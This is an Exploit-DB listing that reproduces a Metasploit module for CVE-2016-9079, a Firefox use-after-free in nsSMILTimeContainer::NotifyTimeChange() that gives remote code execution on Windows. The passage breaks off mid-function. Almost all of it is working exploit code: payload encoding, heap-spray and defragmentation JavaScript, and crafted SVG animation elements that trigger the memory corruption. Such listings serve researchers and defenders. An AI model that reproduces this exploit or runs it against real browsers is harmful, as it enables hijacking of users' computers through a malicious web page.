Exploit-DB #41151
Description: Mozilla Firefox < 50.0.2 - 'nsSMILTimeContainer::NotifyTimeChange()' Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2017-01-24
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

  class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer

    def initialize(info={})
      super(update_info(info,
        'Name'           => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
        'Description'    => %q{
          This module exploits an out-of-bounds indexing/use-after-free condition present in
          nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
          on Microsoft Windows.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>
          [
            'Anonymous Gaijin',                                 # Original research/exploit
            'William Webb <william_webb[at]rapid7.com>'         # Metasploit module
          ],
          'Platform'       => 'win',
          'Targets'        =>
          [
            [ 'Mozilla Firefox',
              {
                'Platform' => 'win',
                'Arch'     => ARCH_X86,
              }
            ],
          ],
          'DefaultOptions'  =>
          {
            'EXITFUNC' => "thread",
            'InitialAutoRunScript' => 'migrate -f'
          },
          'References'     =>
          [
            [ 'CVE', '2016-9079' ],
            [ 'Bugzilla', '1321066' ]
          ],
          'Arch'           => ARCH_X86,
          'DisclosureDate' => "Nov 30 2016",
          'DefaultTarget'  => 0
        )
      )
    register_options(
      [
        OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation.  NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
      ], self.class
    )
  end

  def exploit_html(cli)
    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
    base_uri = "#{get_resource.chomp('/')}"

    # stuff that gets adjusted alot during testing

    defrag_x = %Q~
       for (var i = 0; i < 0x4000; i++)
         heap80[i] = block80.slice(0)
     ~
     defrag_y = %Q~
       for (var i = 0x4401; i < heap80.length; i++)
         heap80[i] = block80.slice(0)
     ~

    js = %Q~
    var worker = new Worker('#{base_uri}/worker.js');
    var svgns = 'http://www.w3.org/2000/svg';
    var heap80 = new Array(0x5000);
    var heap100 = new Array(0x5000);
    var block80 = new ArrayBuffer(0x80);
    var block100 = new ArrayBuffer(0x100);
    var sprayBase = undefined;
    var arrBase = undefined;

    var animateX = undefined;
    var containerA = undefined;

    var milestone_offset = 0x90;

    var $ = function(id) { return document.getElementById(id); }

    var heap = function()
    {
     var u32 = new Uint32Array(block80)

     u32[4] = arrBase - milestone_offset;

     u32[0xa] = arrBase + 0x1000 - milestone_offset;

     u32[0x10] = arrBase + 0x2000 - milestone_offset;

     var x = document.createElementNS(svgns, 'animate')
     var svg = document.createElementNS(svgns, 'svg')

     svg.appendChild(x)
     svg.appendChild(x.cloneNode(true))

     for (var i = 0; i < 0x400; i++)
       {
         var node = svg.cloneNode(true);
         node.setAttribute('id', 'svg' + i)
         document.body.appendChild(node);
       }
       #{defrag_x}

       for (var i = 0; i < 0x400; i++)
         {
           heap80[i + 0x3000] = block80.slice(0)
           $('svg' + i).appendChild(x.cloneNode(true))
         }

         for (var i = 0; i < 0x400; i++)
           {
             $('svg' + i).appendChild(x.cloneNode(true))
             $('svg' + i).appendChild(x.cloneNode(true))
           }

           for (var i = 0; i < heap100.length; i++)
             heap100[i] = block100.slice(0)

             #{defrag_y}

             for (var i = 0x100; i < 0x400; i++)
               $('svg' + i).appendChild(x.cloneNode(true))
             }

             var exploit = function()
             {
               heap();

               animateX.setAttribute('begin', '59s')
               animateX.setAttribute('begin', '58s')
               animateX.setAttribute('begin', '10s')
               animateX.setAttribute('begin', '9s')

               // money shot

               containerA.pauseAnimations();
             }

             worker.onmessage = function(e)
             {
              worker.onmessage = function(e)
              {
               window.setTimeout(function()
               {
                 worker.terminate();
                 document.body.innerHTML = '';
                 document.getElementsByTagName('head')[0].innerHTML = '';
                 document.body.setAttribute('onload', '')
                 document.write('<blink>')
                 }, 1000);
  }

  arrBase = e.data;
  exploit();
  }


  var idGenerator = function()
  {
   return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
  }


  var craftDOM = function()
  {
   containerA = document.createElementNS(svgns, 'svg')
   var containerB = document.createElementNS(svgns, 'svg');

   animateX = document.createElementNS(svgns, 'animate')
   var animateA = document.createElementNS(svgns, 'animate')
   var animateB = document.createElementNS(svgns, 'animate')

   var animateC = document.createElementNS(svgns, 'animate')

   var idX = idGenerator();
   var idA = idGenerator();
   var idB = idGenerator();
   var idC = idGenerator();

   animateX.setAttribute('id', idX);
   animateA.setAttribute('id', idA);
   animateA.setAttribute('end', '50s');
   animateB.setAttribute('id', idB);
   animateB.setAttribute('begin', '60s');
   animateB.setAttribute('end'